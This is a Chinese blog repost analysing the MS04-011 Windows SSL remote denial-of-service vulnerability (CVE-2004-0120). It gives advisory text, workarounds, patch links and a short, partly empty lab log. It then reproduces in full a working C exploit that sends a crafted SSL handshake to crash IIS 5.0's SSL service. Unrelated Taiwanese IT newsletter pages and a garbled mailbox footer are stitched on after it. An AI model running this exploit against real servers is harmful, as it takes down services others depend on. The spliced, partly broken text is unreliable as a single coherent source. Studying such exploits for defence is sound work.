2007-11-23

Microsoft Windows SSL远程拒绝服务漏洞(MS04-011)

http://blog.donews.com/sunjita/archive/2007/11/19/1229521.aspx

Microsoft Windows SSL远程拒绝服务漏洞( MS04-011

--缓冲区溢出攻击攻击

sunjita 3/15/2006

 

1.   漏洞概况

这个漏洞最初由Tenable Network Security John Lampe 发现,CVE 编号为CAN-2004-0120

Microsoft Windows包含的SSL 库实现处理畸形SSL消息时存在问题,远程攻击者可以利用这个漏洞使系统停止对SSL 连接的响应,在Windows 2003系统中还可以使系统重新启动。Microsoft 安全套接字层 (SSL) 库中的拒绝服务漏洞会影响其对特制的 SSL 消息的处理方式。在 Windows 2000 Windows XP 中,此漏洞可能导致受影响的系统停止接受 SSL 连接。在 Windows Server 2003 中,此漏洞可能导致受影响的系统自动重新启动。注意:虽然攻击者无法利用拒绝服务漏洞来执行代码或提升权限,但此漏洞可能导致受影响的系统停止接受请求。

只有那些启用了 SSL 的系统会受到影响,通常仅仅是服务器系统。在任何受影响的系统中,默认情况下都不启用 SSL 支持。然而,在 Web 服务器中一般要使用 SSL ,以支持电子商务程序、网上银行以及其他要求安全通信的程序。采用防火墙最佳做法和标准的默认防火墙配置,有助于保护网络免受从企业防线外部发起的攻击。按照最佳做法,应使连接到 Internet 的系统所暴露的端口数尽可能少。 Windows NT 4.0 不受此漏洞影响。

SSL 漏洞 - CAN-2004-0120 的变通办法: Microsoft 已测试过以下变通办法。尽管这些变通办法不能从根本上纠正此漏洞,但它们有助于阻塞已知的攻击媒介。如果某种变通办法会导致功能下降,将在下面进行说明。

在防火墙处阻塞端口 443 636 ;端口 443 用于接收 SSL 通信。端口 636 用于 LDAP SSL 连接。将其阻塞在防火墙处,有助于保护位于防火墙后面的系统免受利用此漏洞进行的攻击。其他端口可能也会被用来利用此漏洞。然而,这里列出的端口是最常见的攻击媒介。 Microsoft 建议阻塞来自 Internet 的所有非法入站通信,以帮助防止可能利用其他端口进行的攻击。变通办法的影响:如果阻塞端口 443 636 ,受影响的系统就无法再接受使用 SSL LDAPS 的外部连接。

 

2.      攻击过程的实例分析

首先需要搭建平台。第一天,搭建WinXP上的IIS 。建立SSL安全服务首先需要通过WEB默认属性中的"目录安全性"选项建立一个证书申请。得到证书文件 certreq.txt后,需要找一台认证服务器颁发证书。由于建立认证服务器比较繁琐,请李丹协助进行了证书发放。然后在服务器导入证书,选择加密访问通道,重启 IIS即可。但是使用找到的工具进行攻击后,攻击失败。怀疑是XP SP2已经补上了这个漏洞的原因;因此,当日下午借了一张没有打过任何SP Win2000的服务器版进行安装。第二天早上,按照先前的次序顺利的为IIS 5启动了 SSL通道,用工具进行攻击后依然无效。怀疑是工具无效导致。进行半个小时的工具搜索后,依然找不到新的工具。由于时间已经过去了1天多,为了控制进度,决定放弃工具查找。

4分析

4.2 详细分析

       原理是匹配攻击工具的shellcode 。攻击工具系网上搜索得到。

4.3  改进意见

 

5.影响系统

Microsoft Windows XP

Microsoft Windows 2003

Microsoft Windows 2000

 

补丁下载:

Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, Microsoft Windows 2000 Service Pack 4

http://www.microsoft.com/downloads/details.aspx?FamilyId=0692C27E-F63A-414C-B3EB-D2342FBB6C00&displaylang=en

 

Microsoft Windows XP and Microsoft Windows XP Service Pack 1

http://www.microsoft.com/downloads/details.aspx?FamilyId=3549EA9E-DA3F-43B9-A4F1-AF243B6168F3&displaylang=en

 

Microsoft Windows XP 64-Bit Edition Service Pack 1

http://www.microsoft.com/downloads/details.aspx?FamilyId=C6B55EF2-D9FE-4DBE-AB7D-73A20C82FF73&displaylang=en

 

Microsoft Windows XP 64-Bit Edition Version 2003

http://www.microsoft.com/downloads/details.aspx?FamilyId=C207D372-E883-44A6-A107-6CD2D29FC6F5&displaylang=en

 

6.   对应BUG

BUGTRAQ  ID: 10115

CVE(CAN) ID: CVE-2004-0120

 

7.   附:攻击程序

/*

* Microsoft SSL Remote Denial of Service

* MS04-011

*

* Tested succesfully against IIS 5.0 with SSL.

*

* David Barroso Berrueta dbarroso s21sec com

* Alfredo Andres Omella aandres s21sec com

*

* S21sec - www s21sec com

*/

 

#include <stdio.h>

#include <stdlib.h >

#include <unistd.h>

#include <netdb.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <ctype.h>

#include <string.h>

#include <arpa/nameser.h>

#include <errno.h>

 

int exist_host( char *, u_long *);

void init_hello(void);

 

 

/* begin cipher suites: */

char cipher_suites[] = /* 52 */

{0x00,0x39,0x00,0x38,0x00,0x35,0x00,0x16,0x00,0x13,0x00,0x0A,0x00,0x33,0x00

,0x32,0x00,0x2F,0x00,0x66,0x00,0x05,0x00,0x04,0x00,0x63,0x00,0x62,0x00,0x61

,0x00,0x15,0x00,0x12,0x00,0x09,0x00,0x65,0x00,0x64,0x00,0x60,0x00,0x14,0x00

,0x11,0x00,0x08,0x00,0x06,0x00,0x03};

 

/* begin binary data: */

char bin_data[] = /* 1308 */

{0x16,0x03,0x00,0x03,0xB8,0x01,0x00,0x03,0xB4,0x00,0x03,0xB1,0x00,0x03,0xAE

,0x30,0x82,0x03,0xAA,0x30,0x82,0x03,0x13,0xA0,0x03,0x02,0x01,0x02,0x02,0x01

,0x00,0x30,0x0D,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x01,0x04,0x05

,0x00,0x30,0x81,0x9B,0x31,0x0B,0x30,0x09,0x06,0x03,0x55,0x04,0x06,0x13,0x02

,0x45,0x53,0x31,0x11,0x30,0x0F,0x06,0x03,0x55,0x04,0x08,0x13,0x08,0x50,0x61

,0x6C,0x65,0x6E,0x63,0x69,0x61,0x31,0x14,0x30,0x12,0x06,0x03,0x55,0x04,0x07

,0x13,0x0B,0x54,0x6F,0x72,0x72,0x65,0x62,0x6C,0x61,0x63,0x6F,0x73,0x31,0x0F

,0x30,0x0D,0x06,0x03,0x55,0x04,0x0A,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63

,0x31,0x19,0x30,0x17,0x06,0x03,0x55,0x04,0x0B,0x13,0x10,0x77,0x77,0x77,0x2E

,0x77,0x61,0x73,0x61,0x68,0x65,0x72,0x6F,0x2E,0x6F,0x72,0x67,0x31,0x0F,0x30

,0x0D,0x06,0x03,0x55,0x04,0x03,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63,0x31

,0x26,0x30,0x24,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x09,0x01,0x16

,0x17,0x64,0x65,0x76,0x65,0x6C,0x6F,0x70,0x65,0x72,0x73,0x40,0x77,0x61,0x73

,0x61,0x68,0x65,0x72,0x6F,0x2E,0x6F,0x72,0x67,0x30,0x1E,0x17,0x0D,0x30,0x34

,0x30,0x34,0x31,0x33,0x30,0x38,0x33,0x30,0x35,0x39,0x5A,0x17,0x0D,0x30,0x35

,0x30,0x34,0x31,0x33,0x30,0x38,0x33,0x30,0x35,0x39,0x5A,0x30,0x81,0x9B,0x31

,0x0B,0x30,0x09,0x06,0x03,0x55,0x04,0x06,0x13,0x02,0x45,0x53,0x31,0x11,0x30

,0x0F,0x06,0x03,0x55,0x04,0x08,0x13,0x08,0x50,0x61,0x6C,0x65,0x6E,0x63,0x69

,0x61,0x31,0x14,0x30,0x12,0x06,0x03,0x55,0x04,0x07,0x13,0x0B,0x54,0x6F,0x72

,0x72,0x65,0x62,0x6C,0x61,0x63,0x6F,0x73,0x31,0x0F,0x30,0x0D,0x06,0x03,0x55

,0x04,0x0A,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63,0x31,0x19,0x30,0x17,0x06

,0x03,0x55,0x04,0x0B,0x13,0x10,0x77,0x77,0x77,0x2E,0x77,0x61,0x73,0x61,0x68

,0x65,0x72,0x6F,0x2E,0x6F,0x72,0x67,0x31,0x0F,0x30,0x0D,0x06,0x03,0x55,0x04

,0x03,0x13,0x06,0x53,0x32,0x31,0x73,0x65,0x63,0x31,0x26,0x30,0x24,0x06,0x09

,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x09,0x01,0x16,0x17,0x64,0x65,0x76,0x65

,0x6C,0x6F,0x70,0x65,0x72,0x73,0x40,0x77,0x61,0x73,0x61,0x68,0x65,0x72,0x6F

,0x2E,0x6F,0x72,0x67,0x30,0x81,0x9F,0x30,0x0D,0x06,0x09,0x2A,0x86,0x48,0x86

,0xF7,0x0D,0x01,0x01,0x01,0x05,0x00,0x03,0x81,0x8D,0x00,0x30,0x81,0x89,0x02

,0x81,0x81,0x00,0xC4,0x76,0x8B,0x8E,0x3A,0x00,0x70,0xD7,0xA0,0x36,0xCF,0xFC

,0xE8,0xBF,0x2E,0x18,0x83,0xB0,0xC5,0x7C,0x64,0x2F,0xF7,0xA8,0x31,0x70,0xF4

,0xBF,0x31,0x1D,0x81,0x57,0xD7,0x37,0xF9,0xDD,0x7C,0x4E,0xDF,0xB9,0xE2,0xAF

,0x69,0x79,0xB3,0xD5,0x59,0x91,0xED,0x27,0xF0,0x44,0x0A,0xC4,0x3C,0x43,0xF9

,0xE8,0x03,0xAE,0x10,0xDD,0x8B,0x52,0xC0,0x33,0xD7,0x9D,0x6D,0xE3,0xFF,0x03

,0x4B,0x89,0x2F,0x1A,0x73,0xCD,0x11,0x8A,0xD1,0xC1,0x40,0x21,0x2F,0x57,0x22

,0x23,0xF5,0x30,0xF8,0x8A,0x0B,0x02,0xDC,0x31,0xB5,0x4C,0xD9,0xCC,0x5A,0x83

,0xD8,0x7F,0x0A,0xC1,0x5F,0xA6,0x43,0x6C,0xD4,0xEC,0x9F,0x2F,0xEC,0x9A,0x01

,0x63,0x6D,0x30,0x11,0xB9,0xDA,0x73,0x53,0xC2,0x92,0x6B,0x02,0x03,0x01,0x00

,0x01,0xA3,0x81,0xFB,0x30,0x81,0xF8,0x30,0x1D,0x06,0x03,0x55,0x1D,0x0E,0x04

,0x16,0x04,0x14,0xE9,0x66,0x7B,0x58,0x23,0xA2,0x35,0x0F,0xD4,0x31,0x7C,0xAE

,0xC6,0x87,0x64,0x38,0x4E,0xAB,0xAA,0x58,0x30,0x81,0xC8,0x06,0x03,0x55,0x1D

,0x23,0x04,0x81,0xC0,0x30,0x81,0xBD,0x80,0x14,0xE9,0x66,0x7B,0x58,0x23,0xA2

,0x35,0x0F,0xD4,0x31,0x7C,0xAE,0xC6,0x87,0x64,0x38,0x4E,0xAB,0xAA,0x58,0xA1

,0x81,0xA1,0xA4,0x81,0x9E,0x30,0x81,0x9B,0x31,0x0B,0x30,0x09,0x06,0x03,0x55

,0x04,0x06,0x13,0x02,0x45,0x53,0x31,0x11,0x30,0x0F,0x06,0x03,0x55,0x04,0x08

,0x13,0x08,0x50,0x61,0x6C,0x65,0x6E,0x63,0x69,0x61,0x31,0x14,0x30,0x12,0x06

,0x03,0x55,0x04,0x07,0x13,0x0B,0x54,0x6F,0x72,0x72,0x65,0x62,0x6C,0x61,0x63

,0x6F,0x73,0x31,0x0F,0x30,0x0D,0x06,0x03,0x55,0x04,0x0A,0x13,0x06,0x53,0x32

,0x31,0x73,0x65,0x63,0x31,0x19,0x30,0x17,0x06,0x03,0x55,0x04,0x0B,0x13,0x10

,0x77,0x77,0x77,0x2E,0x77,0x61,0x73,0x61,0x68,0x65,0x72,0x6F,0x2E,0x6F,0x72

,0x67,0x31,0x0F,0x30,0x0D,0x06,0x03,0x55,0x04,0x03,0x13,0x06,0x53,0x32,0x31

,0x73,0x65,0x63,0x31,0x26,0x30,0x24,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D

,0x01,0x09,0x01,0x16,0x17,0x64,0x65,0x76,0x65,0x6C,0x6F,0x70,0x65,0x72,0x73

,0x40,0x77,0x61,0x73,0x61,0x68,0x65,0x72,0x6F,0x2E,0x6F,0x72,0x67,0x82,0x01

,0x00,0x30,0x0C,0x06,0x03,0x55,0x1D,0x13,0x04,0x05,0x30,0x03,0x01,0x01,0xFF

,0x30,0x0D,0x06,0x09,0x2A,0x86,0x48,0x86,0xF7,0x0D,0x01,0x01,0x04,0x05,0x00

,0x03,0x81,0x81,0x00,0x75,0x2D,0x19,0xE1,0xAD,0x19,0x77,0x75,0xCB,0xCB,0x76

,0x88,0x38,0xF8,0xD5,0x27,0xD2,0xAB,0x79,0x7F,0x39,0x4A,0x9C,0x56,0x9A,0x5F

,0xCA,0x0C,0xAC,0x21,0x16,0xF6,0xF5,0xE2,0xE8,0xE1,0xB9,0xC2,0x29,0x25,0x52

,0xAF,0xF1,0x83,0x28,0xB0,0x00,0x7B,0xA6,0x12,0xE6,0xC7,0x4D,0x93,0x0C,0x7E

,0xD0,0x83,0x1E,0x59,0x4D,0xEB,0xDF,0xDC,0xED,0x05,0x01,0x84,0xC7,0x92,0x52

,0x65,0x26,0xAA,0x08,0x45,0x65,0x5A,0xB6,0x33,0xDC,0x2A,0xBB,0x85,0x26,0x14

,0x9C,0xBD,0xED,0xFB,0xBB,0x53,0xB3,0xA4,0xB3,0x27,0xC7,0x25,0x02,0xD4,0x0D

,0xAA,0x5E,0x2F,0x53,0xD4,0x1F,0xFB,0xFE,0x07,0x24,0xC6,0x27,0x65,0x59,0x35

,0x43,0x7D,0x28,0xD7,0x42,0x11,0x57,0x84,0x17,0x0D,0x99,0x2B,0x16,0x03,0x00

,0x00,0x84,0x10,0x00,0x00,0x80,0x2A,0x68,0x9A,0xBC,0x58,0x4D,0xA8,0xDD,0xD3

,0x95,0xC0,0xF2,0x70,0x98,0xC8,0xBE,0xE5,0x0C,0x0D,0xC1,0x40,0xD5,0x95,0x17

,0xD6,0xBF,0x04,0x2B,0xEB,0x18,0x54,0x2D,0x9F,0x72,0x55,0xCA,0x84,0x26,0xF2

,0xAF,0xFA,0x13,0xE2,0x15,0x9A,0x88,0x31,0x92,0xC5,0x1E,0xB7,0xF8,0xD7,0x2D

,0x97,0x9A,0x46,0xEF,0x73,0xFF,0xB3,0xA1,0x92,0x0B,0x64,0xC5,0xC8,0xA9,0xBB

,0x24,0xE5,0xD2,0x4B,0x49,0x0D,0x1B,0xB1,0x5F,0xE4,0x5E,0x2E,0x60,0x29,0x48

,0xB5,0xC2,0x1C,0xA5,0x53,0x7B,0x7B,0x55,0xFD,0x1A,0xAF,0x89,0x0B,0x0B,0xB4

,0x91,0x0E,0xE5,0x32,0x90,0xCD,0xB4,0xC5,0xD6,0x30,0x01,0xCD,0x83,0x29,0xDA

,0x4D,0xA5,0x51,0x0B,0x95,0xDC,0xF0,0x83,0x3C,0x81,0x18,0x3D,0x90,0x83,0x16

,0x03,0x00,0x00,0x86,0x0F,0x00,0x00,0x82,0x00,0x80,0xC0,0x56,0x18,0x55,0x92

,0xEF,0x42,0xC2,0x96,0xB5,0x9D,0x81,0x9D,0x3E,0x2A,0x9C,0x60,0x9B,0x9F,0x65

,0xF7,0xFF,0xD0,0xE8,0x2E,0xB9,0x58,0x3A,0xDC,0x68,0xA3,0xBD,0x05,0x5B,0x28

,0x66,0xF5,0x23,0x87,0xE7,0x0C,0xCE,0xD1,0x07,0x4D,0x8D,0xB8,0x40,0x86,0x12

,0xFF,0x60,0x73,0x0F,0xA6,0x91,0x71,0xAC,0x23,0xCC,0x5A,0xB1,0x5C,0xAD,0x62

,0xD5,0xE9,0x73,0xC7,0xCC,0x13,0x95,0x08,0xCE,0xD9,0x75,0xB4,0xB1,0xE5,0x46

,0x0C,0x85,0xE1,0x50,0x1A,0xBC,0x53,0x4B,0xD1,0x5B,0x1A,0xD7,0x7A,0xD7,0x47

,0xC5,0xFC,0x5B,0xA8,0x19,0xB8,0x6D,0xF6,0xD6,0x7B,0x97,0x38,0xD4,0x71,0x3E

,0x60,0xA3,0xCB,0x02,0x4C,0xB5,0x26,0xEE,0xB4,0xF9,0x31,0x3F,0xB7,0xAE,0x65

,0xBC,0x4C,0x6F,0x14,0x03,0x00,0x00,0x01,0x01,0x16,0x03,0x00,0x00,0x40,0x72

,0x12,0x84,0x91,0x08,0x56,0xDC,0x9A,0x1F,0x49,0x35,0x9F,0xC7,0x70,0x16,0x14

,0xAE,0xED,0x32,0x89,0x46,0x10,0x18,0x73,0xB5,0x40,0xB7,0xBA,0xCC,0xB0,0x75

,0xCF,0x96,0x3E,0xDC,0x0F,0x97,0xEE,0xDC,0x3A,0x0F,0xB7,0xD2,0xCD,0x8B,0x0C

,0x99,0xDB,0xA6,0x1E,0xD0,0xF9,0x32,0xCD,0x3B,0xE6,0x32,0xBD,0xC4,0xA9,0x62

,0x2F,0xD5,0xC6};

 

 

struct ssl_hello {

char handshake;

short version;

short length;

char client_hello;

char client_length[3];

short client_version;

int timestamp;

char random_bytes[28];

char session_id_length;

char session_id[32];

short cipher_length;

char cipher_suite[52];

char compression_length;

char compression_method;

} __attribute__((packed)) ssl_hello;

 

int tls;

 

 

int

main(int argc, char *argv[])

{

struct sockaddr_in addr;

int sock,i;

char buffer[32];

 

setvbuf(stdout, NULL, _IONBF, 0);

 

printf("\n<*> S21sec Microsoft IIS 5.0 SSL/TLS Remote DoS <*>\n\n");

 

tls=0;

 

if ((argc != 4) && (argc != 3))

{

printf(" Usage: %s [host] [port] {t}\n", argv[0]);

printf(" host - Host (name/IP) to connect to.\n");

printf(" port - TCP port to connect to.\n");

printf(" t - Enable TLS (disabled by default).\n\n");

exit(1);

}

 

if (argc == 4)

{

if ( strcmp(argv[3], "t"))

{

printf(" -> Ouch!! What is '%s'?\n\n",argv[3]);

exit(1);

}

else

{

tls=1;

bin_data[2]=0x01;

}

}

 

memset(&addr, 0, sizeof(addr));

 

addr.sin_family = AF_INET;

addr.sin_port = htons(atoi(argv[2]));

 

if ( exist_host( argv[1], (u_long *)&(addr.sin_addr.s_addr) ) )

{

printf(" -> Ouch!! Wrong or nonexistant host '%s'!!\n\n",argv[1]);

exit(1);

}

 

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)

{

printf(" -> Error on socket(): %s\n", strerror(errno));

exit(1);

}

 

printf(" -> Connecting to %s:%s...",argv[1],argv[2]);

if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)

{

printf("\n -> Error on connect(): %s\n", strerror(errno));

exit(1);

}

 

init_hello();

 

printf(" OK\n -> Sending %s Client Hello...",((tls)?"TLS":"SSL"));

if (write(sock, (void *)&ssl_hello, sizeof(struct ssl_hello)) == -1)

{

printf("\n -> Error on write(): %s\n", strerror(errno));

exit(1);

}

 

printf(" OK\n -> Waiting for %s Server Hello...",((tls)?"TLS":"SSL"));

if (read(sock, (void *)buffer, sizeof(buffer)) == -1)

{

printf("\n -> Error on read(): %s\n", strerror(errno));

exit(1);

}

 

printf(" OK\n -> Sending bomb...");

if (write(sock, (void *)bin_data, sizeof(bin_data)) == -1)

{

printf("\n -> Error on write(): %s\n", strerror(errno));

exit(1);

}

 

for (i=0; i<6 ; i++)

{

printf(" B00M!!");

usleep(350000);

}

 

close(sock);

 

printf("\n ->\n -> OK. If DoS has been worked you will not be able to negotiate %s with %s:%s\n\n",

((tls)?"TLS":"SSL"),argv[1],argv[2]);

 

exit(0);

}

 

 

int

exist_host( char *nom_host, u_long *bin_host )

{

struct hostent *hinfo;

struct sockaddr_in host_tmp;

struct in_addr host_binario;

 

memset( (char *)&host_tmp, 0, sizeof(host_tmp) );

memset( (char *)&host_binario, 0, sizeof(host_binario) );

 

host_tmp.sin_family = AF_INET;

 

if ( inet_aton( nom_host, &host_binario) )

{

memcpy( (char *)bin_host, (char *)&host_binario, sizeof(host_binario));

return 0;

}

 

if ( (hinfo = gethostbyname( nom_host )) ) /* Put nom_host into bin_host */

{

memcpy((char *)&host_tmp.sin_addr, hinfo->h_addr, hinfo->h_length);

memcpy((char *)bin_host, (char *) &host_tmp.sin_addr.s_addr,

sizeof( host_tmp.sin_addr.s_addr));

return 0;

}

 

return 1;

}

 

 

void

init_hello(void)

{

ssl_hello.handshake = 0x16;

 

if (!tls)

ssl_hello.version = htons(0x0300);

else

ssl_hello.version = htons(0x0301);

 

ssl_hello.length = htons(0x007f);

ssl_hello.client_hello = 0x01;

 

memcpy((void *)ssl_hello.client_length, (void *)"\x00\x00\x7b", 3);

 

if (!tls)

ssl_hello.client_version = htons(0x0300);

else

ssl_hello.client_version = htons(0x0301);

 

ssl_hello.timestamp = htonl(0x407babc0);

 

memset((void *) ssl_hello.random_bytes, 0x66, 28);

 

ssl_hello.session_id_length = 0x20;

 

memset((void *) ssl_hello.session_id, 0x66, 32);

 

ssl_hello.cipher_length = htons(0x0034);

 

memcpy((void *)ssl_hello.cipher_suite, (void *)cipher_suites, sizeof(cipher_suites));

 

ssl_hello.compression_length = 0x01;

ssl_hello.compression_method = 0x00;

}



Trackback: http://tb.donews.net/TrackBack.aspx?PostId=1229521



--
[垃圾桶] ��有��群�。 �您有超� 5038.752806 MB (�在增加中) 的免��存空��,��需要�除�件?!

李維看好RoR走入企業應用

本報內容由 iThome online 提供 每日出刊.2007.11.26
iThome每日新聞報
李維看好RoR走入企業 ... iThome飛越六周年


本期目錄
    李維看好RoR走入企業應用
  DELL Simplify IT tour 把握機會,搶攻一席
  伏羲公文管理系統慶上市 連環促銷幫您大省IT成本
  微軟資訊安全與管理日─打造靈活安全的企業資訊架構
  透過webex有效提昇您的業務效率與速度
 
電子報最新消息
公司治理快易通
 最熱門的管理議題,維持公司長期競爭力
痛快地來做一場愛
 如何高潮迭起?epaper告訴你!
查企業短期償債能力!
 你的債款會不會變呆帳?你的投資多久內會回收?
訂閱特惠情報

iThome電腦報周刊

專欄    
李維看好RoR走入企業應用

CodeGear大中華區技術總監李維
任職於Borland超過7年,目前負責CodeGear開發工具產品線以及大中華區的工作,撰寫10多本Delphi/C++Builder專業技術書籍,經常受邀在大中華區進行專業的演說。

業界稱為「Delphi之神」的李維,在歷經Borland宣布出售開發工具部門的變革之後,現在大中華區技術總監的身份沒變,只是轉任Borland子公司CodeGear的員工,回顧當初Borland評估IDE已成衰退市場的判斷,他認為:「Borland忽略了開放源碼的興起,PHP和RoR已開創一片藍海。」從舊有IDE的使用率來看,Delphi、VB、Java及C++確實是下滑的,但新興語言的興起,造就了全新的機會。

其中RoR(Ruby on Rails)是李維最看好的語言,他認為RoR將改寫軟體開發對於「再利用(Reuse)」的定義,提升到應用程式層級,並預估RoR將在今年走入企業應用。

問:RoR是開放源碼的技術,在缺乏有力的公司主導的情況下,如何在臺灣推動相關應用?
答:這個趨勢我稱為草莽式的螞蟻雄兵,不論Java、Delphi或.NET,它們都是由微軟、昇陽或Borland等大公司由上而下的推動,可是開放源碼的興起是由下而上的力量,特別是當很多人發覺以Java開發跨平臺的解決方案,失敗率太高、太複雜時,會開始思考其他較簡單的技術。

Ruby是這幾年成長最快速的語言,而在IT業界我們可以看到的一股潮流,是RoR將在今年到明年之間開始進入企業應用領域。

問:你為什麼如此看好RoR,它有什麼特別之處?
答:RoR開啟了新的契機,軟體開發不僅是程式碼或平臺的再利用,應用程式也可再利用,可以節省很多時間。

我們寫程式那麼多年,會發覺程式需要管理,所以會有子系統或程序等出現,進入團隊就會有類別庫(Class Library)或平臺(Framework),以方便再利用。但是做10個專案,往往能夠再利用的都是語言、平臺或函式庫。

全文>>
TOP


前期文章 全部歷史文章
出刊日期 出刊主題
2007-11-25 從研發代號認識新一代x86處理器
2007-11-24 Google首辦台北程式開發日 推廣小工具開發
2007-11-23 分析師:虛擬化是Linux的好機會
2007-11-22 Novell:要和台灣硬體廠推出預載Linux PC
2007-11-21 BSA:25%企業主指示員工用盜版軟體

感謝你訂閱這份電子報,下列電子報或許你會喜歡,請勾選
   iThome每日新聞報    手機GOGO玩樂誌    遊戲新幹線玩家快 ...    iThome IT管理報
   Mobile01科技新知 ...    科學人雜誌    D.FUN數位享樂誌    iThome產品技術報
我要訂閱這份報紙» 我要取消這份報紙» 訂報說明
.本電子報內容由 iThome online 提供
.關於內容有任何疑問,或欲轉載請聯絡
PChome ePaper 電子報版權所有,關於電子報發送有任何疑問,請聯絡 客服
台北市敦化南路二段105號11樓 ,TEL:(02)2708-8038,FAX:(02)27094848。
刊登廣告個人連結企業合作隱私權聲明關於PChome徵人
網路家庭版權所有 Copyright PChome Online 版權所有,轉載必究

從研發代號認識新一代x86處理器

本報內容由 iThome online 提供 每日出刊.2007.11.25
iThome每日新聞報
從研發代號認識新一代 ... iThome飛越六周年


本期目錄
    從研發代號認識新一代x86處理器
    最新要聞-IBM與聚碩合作建置儲存解決方案中心
    部落格精選-從電影瞞天過海淺談專案管理
    下周科技大事-經濟部舉辦RFID創新應用國際研討會
  DELL Simplify IT tour 把握機會,搶攻一席
  伏羲公文管理系統慶上市 連環促銷幫您大省IT成本
  從人到技術打造靈活且安全的企業資訊架構
  1130(五)文件列印整合策略研討會,全方位e化新思維
 
電子報最新消息
公司治理快易通
 最熱門的管理議題,維持公司長期競爭力
痛快地來做一場愛
 如何高潮迭起?epaper告訴你!
查企業短期償債能力!
 你的債款會不會變呆帳?你的投資多久內會回收?
訂閱特惠情報

iThome電腦報周刊

專欄    
從研發代號認識新一代x86處理器

CPU,Central Processing Unit
中央處理器:電腦的執行與控制核心

中央處理器(Central Processing Unit,CPU)是電腦執行程式與控制電他元件的核心裝置,自從1971年世界上第一顆微處理架構的CPU──Intel 4004誕生以來,在不到半個世紀之間,時脈已從原本的108KHz發展到超過4.7GHz(IBM Power6處理器),而核心數也從原本的單核心到目前的八核心(SUN UltraSparc T2處理器),製程方面更是從10μm(微米)演進到45nm(奈米),縮小幅度超過200倍以上。

目前市面上的微處理器製造商以英特爾(Intel),以及美商超微半導體(Advanced Micro Devices,AMD)為主。根據市場研究公司iSuppli的調查,Intel於2007年第二季的CPU市占率約78.8%,AMD則是15.9%,其餘尚有IBM、昇陽(SUN)、飛思卡爾(Freescale Semiconductor)或全美達(Transmeta)等處理器製造商。

Conroe
Intel桌上型雙核心處理器

Conroe本來是位於德州的一個人工湖,面積2萬1千英畝,主要作用為調節水量,亦是當地著名的觀光景點。Intel將它當作65奈米製程微架構雙核心處理器的研發代號(正式名稱為酷睿,因諧音相近亦被玩家稱作控肉或爌肉)。其中包含具備2MB L2快取和4MB L2快取二種產品。該系列的頂級產品Core 2 Extreme系列,代號是Conroe XE,至於Pentium Dual-Core代號則為Conroe-L。

Woodcrest
Intel伺服器雙核心處理器

Woodcrest是位於加州的一個小鎮,面積為26.9平方公里。為了和主攻桌上型電腦市場的Conroe區隔,Intel採用Woodcrest做為伺服器平臺65奈米製程雙核心處理器Xeon 5100系列的研發代號,此系列也是首批採用Intel微架構的伺服器處理器,採用1066或1333前端匯流排。Woodcrest全系列皆具有4MB的L2快取,支援Intel虛擬化技術(VT),並兼容於32位元及64位元環境。

全文>>
TOP

今日新聞    
最新要聞-IBM與聚碩合作建置儲存解決方案中心

調查:PoE網路埠供電大幅成長
根據調查機構Dell'Oro Group日前所發表的報告,交換器的網路埠供電(Power-over-Ethernet,PoE)埠數,今年第三季有大幅成長,總埠數成長了約2成,其中GbE等級的交換器,PoE的埠數和去年同期的銷售狀況比較,更成長了將近80%。

該份報告中也指出,今年乙太網路交換器的銷售金額,已經達到了48億美元,與去年同季相較,市場規模約成長了12%。而推動此一成長的原因,主要也是來自於PoE的更換。文☉劉哲銘

AMD推出4核心Spider平臺
AMD日前正式推出4核心Spider平臺。該平臺採用4核心Phenom處理器、7系列晶片組與ATI Radeon HD 3800系列繪圖晶片。首先在Phenom處理器上,每個核心採用512KB的第二階快取,並共享2MB第三階快取。Phenom將有兩種型號9600與9500,時脈分別為2.3GHz與2.2GHz。此外更首度將HyperTransport提升至3.0,來提升系統的頻寬。文☉林文彬

IBM與聚碩合作建置儲存解決方案中心
IBM日前與聚碩科技合作,正式發表IBM在臺灣首座儲存解決方案中心(IBM System Storage Solution Center),該解決方案中心可協助客戶預先架構儲存設備,並模擬企業IT環境,以進行新機測試、提供示範操作及概念認證等各項服務,以加速企業實際導入的效率和降低風險。

在設施方面,包含一系列磁碟、磁帶和虛擬磁帶櫃設備,以及儲存管理軟體Tivoli系列。IBM表示,自儲存方案中心成立後,已有數家金融、電信等客戶進行異地備援等測試作業。文☉許雅婷

全文>>
TOP


專欄    
部落格精選-從電影瞞天過海淺談專案管理

Fillano's Learning Notes

Java新手的跌倒日記-樹狀文件結構產生

為了練習,自己寫了csv -> xml(office 2003)的轉碼程式,中途跌倒了很多次,主要原因都是自訂的node類別。

原先的簡單想法是,每個node都會有一個render方法,在這個render方法裡面遞迴地呼叫子node的render方法,把整個文件產生出來。寫法很簡單,結構很漂亮,但是.....跑得好慢。

拿來測試的csv有1200筆資料,每一筆資料有五個欄位。每個欄位用一個textnode來代表,然後用data跟cell node包起來,每筆資料用row node包起來,外面在加上table,worksheet,workbook三個node。估計一下,這樣得要在系統裡面產生3*5*1200+1200+3,19203個node物件…

訊息角落

從電影瞞天過海淺談專案管理

我們從電影中可以看得出來,這場瞞天過海專案中的每一項要素都不可或缺。當然電影有時候是比較誇大的方式去描述情境,我們回到最原點,專案負責人與經理是否能夠善用資源,在每一階段避免任何影響專案失敗的問題才是最重要的。

專案管理有趣的地方是不僅只套用在工作或職場上,生活周遭都可以用專案管理的角度思考,例如結婚、買房子、有趣一點甚至追女朋友也可套用專案管理,例如確認要追誰,然後開始分析自己有哪些條件,有誰可以幫你,有哪些風險是要考慮等等。我們都有可能擔任職場上某一個專案的負責人或是團隊成員,當大家成為專案團隊一員就要有所共識,即專案成敗皆與我有關,彼此相互監督與分享意見,才能避免專案失敗,也能激起團隊士氣的火花…

工程師級的顧問 /【食夢黑貘】

Web 2.0 網站?

